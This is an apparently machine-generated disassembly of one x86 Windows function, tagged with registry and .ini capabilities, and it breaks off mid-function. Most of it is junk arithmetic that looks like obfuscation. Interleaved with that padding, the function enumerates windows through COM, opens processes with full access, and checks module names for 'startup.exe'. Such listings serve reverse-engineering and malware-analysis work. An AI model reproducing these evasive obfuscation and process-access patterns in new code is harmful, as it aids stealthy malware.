Function at 0x4212f0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44cb2d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x115c
call fcn.00432110
mov eax, dword [0x460640]
xor eax, ebp
push ebx
mov dword [ebp - 0x14], eax
mov eax, dword [0x45ecd4]
push esi
mov esi, dword [0x45eccc]
push edi
cdq
mov dword [ebp - 0x10], esp
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x1128], 0
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
sub ecx, eax
push 0xeae0c6d3
mov eax, ebx
push eax
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d0]
push 1
push 0x86050f76
add ecx, eax
mov eax, dword [ebp - 0x10d4]
push edx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ece8]
sub ecx, eax
imul edx, edx, 0x6b66a94
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
sub ecx, esi
mov esi, dword [0x45ecd0]
add ecx, edx
add ecx, eax
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
xor edi, edi
push eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], edi
call fcn.004319f0
mov ebx, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub ebx, eax
mov eax, 0x4d7937c3
mov ecx, dword [0x45ece0]
mul esi
imul ecx, ecx, 0x7f4ea4e2
shr edx, 0x1e
add ebx, edx
mov eax, 0x2a01e433
imul esi
sub ebx, ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x6181b446
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov dword [0x45ecc8], eax
mov dword [ebp - 0x1118], edi
lea edx, [ebp - 0x1118]
push edx
push 0x44f3b0
push 0x17
push edi
push 0x453a40
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [0x45ecdc]
mov dword [ebp - 0x1120], eax
mov eax, edi
cdq
mov esi, eax
mov eax, dword [0x45ecd0]
push 1
mov ebx, edx
cdq
push 0xb09bfdc4
push edx
push eax
mov dword [ebp - 0x1100], esi
mov dword [ebp - 0x10fc], ebx
call fcn.004319f0
push 0xfffffffffffffffd
push 0xf4a814ea
push ebx
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov esi, dword [0x45ece8]
mov ecx, dword [0x45ecd8]
mov ebx, eax
mov eax, dword [ebp - 0x10c8]
sub ebx, eax
mov eax, esi
imul eax, eax, 0x6b66a94
add ebx, eax
mov edx, ecx
imul edx, edx, 0xb57eb16
add ebx, edx
mov eax, 0x2a01e433
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [0x45ecc8]
mov edx, ebx
imul edx, edx, 0x5295f78d
add eax, edx
sub eax, dword [0x45ece4]
sub eax, 0x6181b446
mov dword [0x45ecd0], eax
mov eax, dword [ebp - 0x1120]
test eax, eax
push 1
push 0xeae0c6d3
jge 0x4215ad
mov esi, dword [str._r_____r____]
mov eax, 0x2a215c6f
mul edi
lea ebx, [ecx + esi]
mov ecx, dword [ebp - 0x10fc]
imul ebx, ebx, 0x5295f78d
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x1100]
push ecx
shr eax, 0x1f
push edx
sub ebx, eax
call fcn.004319f0
imul edi, edi, 0x140cef57
imul esi, esi, 0x151f392d
add ebx, eax
mov eax, dword [0x45ece0]
sub ebx, edi
sub ebx, esi
lea ecx, [ebx + eax - 0x6181b446]
mov dword [0x45ecd4], ecx
mov eax, dword [ebp - 0x1118]
test eax, eax
mov byte [ebp - 4], 0
je 0x4215a6
mov edx, dword [eax]
push eax
call dword [edx + 8]
xor eax, eax
jmp 0x424475
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ecd4]
mov dword [ebp - 0x10f4], edx
cdq
push edx
push eax
mov dword [ebp - 0x10f8], edi
call fcn.004319f0
mov ecx, dword [ebp - 0x10f4]
push 2
push 0x6b66a94
push ecx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
mov edi, eax
mov eax, dword [ebp - 0x10c8]
sub edi, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [ebp - 0x10f8]
sub ecx, edx
shr ecx, 1
push 1
add ecx, edx
mov edx, dword [ebp - 0x10f4]
push 0xebf310a9
push edx
shr ecx, 0x1f
push eax
add edi, ecx
call fcn.004319f0
imul esi, esi, 0x6181b446
imul ebx, ebx, 0x151f392d
sub edi, eax
mov eax, dword [0x45ece0]
imul eax, eax, 0x242d3a05
sub edi, esi
sub edi, ebx
sub edi, eax
mov eax, dword [ebp - 0x1118]
lea edx, [ebp - 0x112c]
push edx
mov dword [0x45ecd8], edi
mov dword [ebp - 0x112c], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [0x45ece4]
mov ecx, dword [0x45eccc]
mov edi, dword [0x45ecd0]
cdq
mov esi, eax
mov ebx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x10d4], eax
lea eax, [edi + ecx]
imul eax, eax, 0x79faf08a
push 2
push 0xb57eb16
push ebx
push esi
mov dword [ebp - 0x1108], esi
mov dword [ebp - 0x1104], ebx
mov dword [ebp - 0x10d0], edx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [ebp - 0x10c8]
push 1
sub ebx, eax
mov eax, dword [ebp - 0x1104]
push 0xeae0c6d3
push eax
push esi
call fcn.004319f0
add ebx, eax
mov ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x10d4]
push 1
push 0x5295f78d
push ecx
push edx
call fcn.004319f0
mov ecx, dword [0x45ecdc]
sub ebx, eax
imul ecx, ecx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub ebx, eax
mov eax, dword [ebp - 0x112c]
add ebx, ecx
test eax, eax
mov dword [0x45ecdc], ebx
je 0x421592
mov eax, dword [0x45ece8]
push 1
lea esi, [edi + eax]
cdq
imul esi, esi, 0x4f64023c
push 0x86050f76
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x10d4]
push 1
push 0xb09bfdc4
push ecx
sub eax, esi
push edx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
imul ebx, ebx, 0x6181b446
mov ecx, dword [ebp - 0x10c8]
mov esi, dword [0x45ecd8]
sub ecx, eax
mov eax, dword [0x45ecd4]
imul eax, eax, 0x6b66a94
mov edx, esi
imul edx, edx, 0x2c857103
sub ecx, eax
mov eax, dword [ebp + 8]
sub ecx, edx
sub ecx, ebx
test eax, eax
mov dword [0x45ece0], ecx
je 0x42183e
mov eax, esi
mov esi, dword [str._r_____r____]
cdq
mov edi, eax
push 1
mov dword [ebp - 0x10fc], edx
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov edx, dword [ebp - 0x1104]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, ecx
imul eax, eax, 0x242d3a05
push 2
push 0xb57eb16
sub ebx, eax
mov eax, dword [ebp - 0x1108]
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10fc]
push 1
push 0xeae0c6d3
push ecx
push edi
sub ebx, eax
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
push 1
push 0x86050f76
push edx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
sub ebx, esi
mov ecx, 0x572838
mov dword [0x45ece4], ebx
call fcn.00414c90
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
mov ebx, dword [0x45ecc8]
push 1
mov eax, ebx
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, eax
lea eax, [esi + edi]
imul eax, eax, 0x140cef57
sub ecx, eax
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub ecx, edx
mov eax, 0x2a215c6f
mul ebx
mov eax, dword [0x45ece4]
sub ebx, edx
imul eax, eax, 0x6181b446
shr ebx, 1
add ebx, edx
mov edx, edi
imul edx, edx, 0x151f392d
shr ebx, 0x1f
add ecx, ebx
sub ecx, eax
add ecx, edx
mov dword [0x45ece8], ecx
mov dword [ebp - 0x1124], 0
jmp 0x4218b0
mov eax, dword [ebp - 0x1124]
cmp eax, dword [ebp - 0x112c]
jge 0x4243ee
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
mov eax, dword [0x45ecdc]
imul eax, eax, 0x5295f78d
add ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x110c], 0
mov eax, dword [ebp - 0x1124]
mov ecx, 3
mov word [ebp - 0x1150], cx
mov dword [ebp - 0x1148], eax
mov edi, dword [ebp - 0x1150]
lea esi, [ebp - 0x110c]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x114c]
mov dword [esi + 4], edi
mov byte [ebp - 4], cl
mov ecx, dword [ebp - 0x1118]
mov edx, dword [ecx]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1144]
push ecx
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1150]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [0x45ecdc]
cdq
push 2
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ece8]
mov ecx, eax
imul edx, edx, 0x6b66a94
sub ecx, esi
mov esi, dword [0x45ecd8]
mov eax, esi
imul eax, eax, 0xb57eb16
add ecx, edx
add ecx, eax
mov eax, 0x2a01e433
imul esi
mov eax, dword [0x45ece4]
sar edx, 0x1c
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x5295f78d
add edi, ecx
sub edi, eax
sub edi, 0x6181b446
test ebx, ebx
mov dword [0x45ecd0], edi
jl 0x421bb7
mov ebx, dword [0x45eccc]
cdq
mov dword [ebp - 0x1108], eax
push 0xfffffffffffffffe
mov dword [ebp - 0x1104], edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov edx, dword [ebp - 0x1104]
lea ecx, [edi + ebx]
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
sub eax, ecx
mov ecx, dword [ebp - 0x1108]
push edx
push ecx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x1104]
push 1
push 0xeae0c6d3
add ecx, eax
mov eax, dword [ebp - 0x1108]
push edx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ece0]
add ecx, eax
imul edx, edx, 0x2c857103
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x110c]
test eax, eax
mov dword [0x45ecdc], ecx
mov dword [ebp - 0x10f0], 0
je 0x421b45
mov ecx, dword [eax]
lea edx, [ebp - 0x10f0]
push edx
push 0x44f3f8
push eax
call dword [ecx]
mov edi, dword [0x45ecd0]
mov esi, dword [0x45ecd8]
push 1
mov eax, edi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub ebx, eax
mov eax, 0x4d7937c3
mul edi
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add ebx, edx
sub ebx, eax
mov eax, 0x2a01e433
imul edi
mov eax, dword [0x45ecc8]
imul eax, eax, 0x6181b446
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add ecx, eax
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov dword [0x45ecc8], ecx
jne 0x421bd4
mov eax, dword [ebp - 0x110c]
test eax, eax
mov byte [ebp - 4], 1
je 0x4243e3
mov edx, dword [eax]
push eax
call dword [edx + 8]
jmp 0x4243d7
mov ebx, dword [0x45ecdc]
push 1
mov eax, ebx
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov edx, dword [str._r_____r____]
mov ecx, eax
lea eax, [esi + edx]
imul eax, eax, 0x5295f78d
add ecx, eax
mov eax, 0x2a215c6f
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub ecx, eax
mov eax, dword [str._r_____r____]
mov edx, ebx
imul eax, eax, 0x151f392d
imul edx, edx, 0x140cef57
sub ecx, edx
sub ecx, eax
mov eax, dword [0x45ece0]
lea ecx, [ecx + eax - 0x6181b446]
mov dword [0x45ecd4], ecx
mov dword [ebp - 0x1114], 0
mov edx, dword [0x45ece8]
mov eax, dword [0x45eccc]
push 0xfffffffffffffffe
add edi, edx
cdq
imul edi, edi, 0x4f64023c
push 0x4f64023c
push edx
push eax
mov byte [ebp - 4], 5
call fcn.004319f0
sub eax, edi
mov edi, eax
mov eax, dword [0x45ece8]
push 1
cdq
push 0x86050f76
push edx
push eax
call fcn.004319f0
imul esi, esi, 0x2c857103
imul ebx, ebx, 0x6181b446
add edi, eax
mov eax, dword [0x45ecd4]
imul eax, eax, 0x6b66a94
sub edi, eax
mov eax, dword [ebp - 0x10f0]
sub edi, esi
lea edx, [ebp - 0x1114]
sub edi, ebx
push edx
mov dword [0x45ece0], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x48]
test eax, eax
jl 0x4226f0
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov ebx, edx
mov edi, eax
push ebx
push edi
call fcn.004319f0
push 1
push 0x5295f78d
push ebx
push edi
mov esi, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov edi, dword [0x45ece0]
mov ebx, dword [0x45ece8]
add esi, eax
mov eax, 0x2a215c6f
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add esi, ecx
mov ecx, dword [0x45ece4]
mov edx, edi
imul ecx, ecx, 0x6181b446
imul edx, edx, 0x140cef57
mov eax, ebx
imul eax, eax, 0x6b66a94
sub esi, edx
mov edx, dword [str._r_____r____]
sub esi, eax
mov eax, dword [ebp - 0x1114]
add esi, ecx
sub esi, edx
sub esi, 0x4f64023c
test eax, eax
mov dword [0x45eccc], esi
mov dword [ebp - 0x1110], 0
je 0x421d78
mov edx, dword [eax]
lea ecx, [ebp - 0x1110]
push ecx
push 0x44f408
push eax
call dword [edx]
mov ebx, dword [0x45ece8]
mov edi, dword [0x45ece0]
mov eax, ebx
cdq
mov esi, eax
mov eax, dword [0x45ecd4]
push 1
mov dword [ebp - 0x10f4], edx
cdq
push 0xeae0c6d3
push edx
push eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x10f8], esi
call fcn.004319f0
mov edx, dword [ebp - 0x10f4]
push 2
push 0x6b66a94
push edx
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10f4]
mov esi, eax
mov eax, dword [ebp - 0x10c8]
sub esi, eax
mov eax, 0x2a215c6f
mul edi
mov eax, edi
sub eax, edx
push 1
shr eax, 1
push 0xebf310a9
add eax, edx
mov edx, dword [ebp - 0x10f8]
push ecx
shr eax, 0x1f
push edx
add esi, eax
call fcn.004319f0
imul ebx, ebx, 0x6181b446
imul edi, edi, 0x242d3a05
sub esi, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
sub esi, ebx
sub esi, eax
mov eax, dword [ebp - 0x1110]
sub esi, edi
test eax, eax
mov dword [0x45ecd8], esi
jne 0x421e6d
mov eax, dword [ebp - 0x1114]
test eax, eax
mov byte [ebp - 4], 4
je 0x421e3c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45ecd8]
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 2
je 0x421e56
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, dword [0x45ecd8]
mov eax, dword [ebp - 0x110c]
test eax, eax
mov byte [ebp - 4], 1
je 0x4243dd
jmp 0x4243d1
push 0
call fcn.004320d7
sub eax, dword [0x572a90]
add esp, 4
cmp eax, 0x708
jge 0x422212
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
mov eax, dword [ebp - 0x10f0]
add ecx, edx
lea edx, [ebp - 0x1140]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1140]
lea eax, [ebp - 0x1134]
push eax
push ecx
mov dword [ebp - 0x1134], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
add ecx, eax
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x45eccc]
mov ebx, dword [0x45ece0]
mov esi, dword [0x45ece4]
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [ebp - 0x10c8]
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edi, dword [str._r_____r____]
mov edx, ebx
imul edx, edx, 0x140cef57
shr ecx, 0x1f
add eax, ecx
mov ecx, dword [0x45ece8]
sub eax, edx
imul ecx, ecx, 0x6b66a94
mov edx, esi
imul edx, edx, 0x6181b446
sub eax, ecx
add eax, edx
sub eax, edi
sub eax, 0x4f64023c
mov dword [0x45eccc], eax
mov eax, dword [ebp - 0x1134]
test eax, eax
push 1
je 0x422659
mov esi, dword [0x45ecdc]
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd8]
add edx, edi
imul edi, edi, 0x151f392d
imul edx, edx, 0x5295f78d
mov ecx, eax
add ecx, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x1134]
shr eax, 0x1f
sub ecx, eax
sub ecx, esi
push edx
sub ecx, edi
push 0
lea ecx, [ecx + ebx - 0x6181b446]
push 0x1f0fff
mov dword [0x45ecd4], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp - 0x10d8], eax
je 0x422212
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, ecx
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ece0]
add ecx, eax
imul edx, edx, 0x2c857103
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, edx
mov dl, byte [0x44fe2e]
add ecx, eax
mov dword [0x45ecdc], ecx
mov cx, word [0x44fe2c]
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10d8]
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0x10fc], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, edx
imul eax, eax, 0x242d3a05
sub ebx, eax
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
add ebx, eax
mov ecx, dword [ebp - 0x10fc]
push 1
push 0xeae0c6d3
push ecx
push edi
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
push 1
push 0x86050f76
push edx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
lea eax, [ebp - 0x2c4]
push str.startup.exe
sub ebx, esi
push eax
mov dword [0x45ece4], ebx
call fcn.0040ddf0
add esp, 8
test eax, eax
jne 0x4226dc
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0x10fc], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add edx, eax
imul edx, edx, 0x242d3a05
push 1
sub ebx, edx
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10fc]
push 1
push 0xeae0c6d3
push ecx
push edi
add ebx, eax
call fcn.004319f0
mov edx, dword [ebp - 0x10fc]
push 1
push 0x86050f76
push edx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
mov ecx, dword [ebp - 0x1128]
sub ebx, eax
mov eax, dword [ebp + 8]
sub ebx, esi
inc ecx
test eax, eax
mov dword [0x45ece4], ebx
mov dword [ebp - 0x1128], ecx
je 0x4242b6
push ecx
lea eax, [ebp - 0x10f0]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push eax
call fcn.00408610
mov ecx, 0x572838
call fcn.00407890
test al, al
jne 0x4242b6
mov eax, dword [0x45ecd4]
mov edi, dword [0x45eccc]
mov esi, dword [0x45ece8]
cdq
imul esi, esi, 0x6b66a94
mov ebx, eax
push 2
mov dword [ebp - 0x10e4], edx
mov eax, edi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e8], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0x10e4]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10e4]
push 1
push 0xeae0c6d3
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d0]
push 1
push 0x86050f76
add ecx, eax
mov eax, dword [ebp - 0x10d4]
push edx
push eax
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul edi, edi, 0x140cef57
mov ecx, dword [ebp - 0x10c8]
sub ecx, eax
mov eax, dword [0x45ecdc]
mov edx, eax
imul edx, edx, 0x5295f78d
sub ecx, edi
add ecx, esi
add edx, ecx
push 2
mov dword [str._r_____r____], edx
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov ebx, eax
mov eax, ecx
imul eax, eax, 0xb57eb16
sub ebx, edi
add ebx, eax
mov eax, 0x2a01e433
imul ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov edx, dword [0x45ecc8]
mov edi, dword [0x45ece4]
imul edx, edx, 0x5295f78d
add ecx, edx
sub ecx, edi
lea eax, [ecx + esi - 0x6181b446]
mov dword [0x45ecd0], eax
mov eax, dword [ebp - 0x10f0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1138]
push edx
push eax
call dword [ecx + 0x78]
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, ecx
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ece0]
add ecx, eax
imul edx, edx, 0x2c857103
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, edx
add ecx, eax
mov dword [0x45ecdc], ecx
mov ecx, dword [ebp - 0x1138]
push ecx
call fcn.004277e0
mov esi, dword [0x45eccc]
mov dword [ebp - 0x111c], eax
mov eax, dword [0x45ecd4]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0x10e4], ebx
mov dword [ebp - 0x10d4], eax
mov dword [ebp - 0x10d0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
push 1
sub ecx, eax
push 0xeae0c6d3
mov edx, ebx
push edx
push edi
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [ebp - 0x10d4]
push 1
add ecx, eax
mov eax, dword [ebp - 0x10d0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0x10c8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0x10c8]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
mov eax, dword [ebp - 0x1110]
add ecx, edx
lea edx, [ebp - 0x113c]
push edx
mov dword [str._r_____r____], ecx
mov ecx, dword [eax]
push eax
mov dword [ebp - 0x10d8], 0
call dword [ecx + 0x90]
mov ebx, eax
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov dword [ebp - 0x10c8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0x10c8]
add ecx, eax
mov dword [ebp - 0x10c8], ecx
mov ecx, dword [0x45eccc]
mov eax, 0x2a215c6f
mul ecx
